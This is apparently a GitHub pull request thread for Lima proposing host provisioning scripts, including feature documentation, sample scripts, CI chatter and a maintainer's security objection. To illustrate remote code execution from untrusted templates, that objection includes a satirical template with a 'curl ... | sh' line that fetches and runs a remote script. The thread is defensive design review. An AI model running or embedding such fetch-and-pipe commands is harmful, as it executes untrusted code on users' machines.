lima
lima copied to clipboard
Add Host Provision to `default.yaml`
Host provisioning scripts are executed every time before starting the instance.
- the working directory is the instance directory
{{.Dir}} - the
runtime.GOOSis used to determine the host OS. e.g.darwinfor macOS,linuxfor Linux, andwindowsfor Windows. - if
waitis true and the script exits with a non-zero status, the instance start will be aborted.
shell and script can include these template variables:
{{.ScriptName}}that represents the temporary script file path.{{.Index}}that represents the index in the list of host provisioning scripts (0-based).- template variables available in
limactl list --formatcommand.
🟢 Builtin default: null
e.g.
hostProvision:
- debug: false # change the temporary script location to {{.Dir}} and not delete it after execution. default: false
hostOS: darwin # string or []string. The script is executed only on the specified host OS.
script: | # passed to the shell as temporary file argument if exists
xattr -w com.apple.metadata:com_apple_backup_excludeItem true {{.Dir}}/{basedisk,diffdisk}
shell: bash # default: null
wait: true # wait for the script to finish before starting the instance. default: true
If no shell is given, the default shell is selected based on the host OS. If the default shell is not located on the PATH, fallbacks to sh (when host OS is not windows) or powershell (when host OS is windows).
shell can be either:
- Builtin / Explicitly supported keywords
| Keyword | Command run internally | Description |
|---|---|---|
bash |
bash --noprofile --norc -eo pipefail {{.ScriptName}} |
The default shell when host OS is not windows. |
sh |
sh -e {{.ScriptName}} |
|
pwsh |
pwsh -command ". '{{.ScriptName}}'" |
The default shell when host OS is windows. |
powershell |
powershell -command ". '{{.ScriptName}}'" |
|
cmd |
cmd /D /E:ON /V:OFF /S /C "CALL "{{.ScriptName}}"" |
- Template string:
command [...options] {{.ScriptName}} [...more_options]{{.ScriptName}}is replaced with the temporary script file path
there are shorthand forms for the builtin shells:
- bash: echo "executed by bash" # interpreted as {shell: bash, hostOS: [darwin, linux], script: ...}
- sh: echo "executed by sh" # interpreted as {shell: sh, hostOS: [darwin, linux], script: ...}
- pwsh: Write-Host "executed by pwsh" # interpreted as {shell: pwsh, hostOS: [windows], script: ...}
- powershell: Write-Host "executed by powershell" # interpreted as {shell: powershell, hostOS: [windows], script: ...}
- cmd: echo "executed by cmd" # interpreted as {shell: cmd, hostOS: [windows], script: ...}
e.g.
- bash: | # Post a notification when an error by the hostProvision script is detected
jq=/opt/homebrew/bin/jq && test -x $jq || exit 0
tail -n0 -F ha.stderr.log | while read -r line; do
msg=$(echo "$line"|$jq -er '
select(.hostProvision and .hostProvision != {{.Index}})| # select log lines from other hostProvision scripts
select(.level == "error")| # select error log lines
.msg
') || continue
osascript -e "on run argv" -e "display notification (item 1 of argv) with title \"Lima\"" -e "end run" "$msg"
echo Posted a notification
done
debug: false
hostOS: darwin
wait: false
This PR is an alternative solution to #2159.
The failing tests seem to be an issue with the build cache. 🤔
The failing tests seem to be an issue with the build cache. 🤔
Fixed pkg/hostagent/host_provision.go:11:2: package slices is not in GOROOT issue
https://github.com/lima-vm/lima/actions/runs/7770635361/job/21191054495?pr=2180#step:9:20
time="2024-02-04T01:12:50Z" level=fatal msg="failed to download "[https://download.fedoraproject.org/pub/fedora/linux/releases/39/Cloud/x86_64/images/Fedora-Cloud-Base-39-1.5.x86_64.qcow2](https://download.fedoraproject.org/pub/fedora/linux/releases/39/Cloud/x86_64/images/Fedora-Cloud-Base-39-1.5.x86_64.qcow2/)": Get "[https://download.fedoraproject.org/pub/fedora/linux/releases/39/Cloud/x86_64/images/Fedora-Cloud-Base-39-1.5.x86_64.qcow2](https://download.fedoraproject.org/pub/fedora/linux/releases/39/Cloud/x86_64/images/Fedora-Cloud-Base-39-1.5.x86_64.qcow2/)": net/http: TLS handshake timeout"
Is this a temporary failure?
test/vz (fedora.yaml) passes on my local machine just now.
Could someone please re-run the test?
Host provisioning scripts are executed every time before starting the instance.
I wish you would create an issue first to discuss a new feature, and how it is going to be implemented.
I think we discussed host provisioning scripts before, and rejected the idea due to security considerations, but I couldn't find any issue or discussion related to it right now.
Host provisioning scripts creating a Lima instance from a URL may now run arbitrary code on the user's machine:
limactl start https://templates.r.us/cool-vm.yaml
Now, installing remote templates without verifying them first is already somewhat dangerous:
mounts:
- location: /
mountPoint: /mnt/host
writable: true
ssh:
forwardAgent: true
But executing a provisioning script directly on the host also lets you run arbitrary other code, and gives you access to any unlocked keychains. Without this feature there is no mechanism that would allow a Lima instance to execute additional code on the host (afaik).
If we agree on supporting host scripts at all, then I would like to see additional safeguards implemented:
When a new instance is created with a host provisioning script in the template, limactl needs to ask permission:
$ limactl create https://example.com/vm.yaml
WARNING: The template includes a provisioning script that will run on your local machine!
? Do you want to run the script on your machine every time before the instance starts?
There should be no default answer, and if running with --tty=false the answer should be "no". Not sure if that should abort the instance creation.
I think it may be a good idea if the template could include a message for the host script, that would be displayed before the prompt:
hostProvision:
- message: |
Do you feel lucky, punk?
Many exciting script actions, chosen at random:
* Buy a new NFT from your unlocked wallet
* Install remote access trojan
* Get free bitcoin
* Watch another user's webcam
* Encrypt your hard drive and pay ransom
Never have a boring day again!
script: "curl https://russion.roulette/script-of-the-day | sh"
I have more feedback on the implementation details, but I would like to hear first what others @lima-vm/maintainers think about supporting host scripts at all.
This PR is an alternative solution to https://github.com/lima-vm/lima/pull/2159.
From a risk/benefit point of view I would rather see #2159 implemented, but I do understand the appeal of the more powerful mechanism. I'm just afraid that it will be abused for remote code execution exploits.
test/vz (fedora.yaml)passes on my local machine just now. Could someone please re-run the test?
I've triggered a re-run.
WARNING: The template includes a provisioning script that will run on your local machine!
👍
Maybe we should print this note for mounts (except /tmp/lima) too
Maybe we should print this note for mounts (except
/tmp/lima) too
I was going to suggest this (including adding the prompt), but it is outside the scope of this PR. We then need to add some additional options like --enable-writable-mounts and --enable-host-scripts to prevent these prompts for automation. But we can bike-shed this in a separate issue.
I understand that Host Provision is a security issue when limactl is used to download templates directly from the net. For my personal use, I think it is better to enable Host Provision only when it is written in _config/default.yaml.
Updated to the use of HostProvision in lima.yaml to be opt-in.
I believe that the procedure to enable HostProvision in lima.yaml should be considered separately.
I would be happy to see the review go forward with this change.
This PR (feature) seems like overkill to me, if it is only going to be used to exclude the lima directory from backup?
We had similar feature requests for installing kubectl, but opted to do it on the host instead of from the template.
I have lost interest, so I am closing this PR.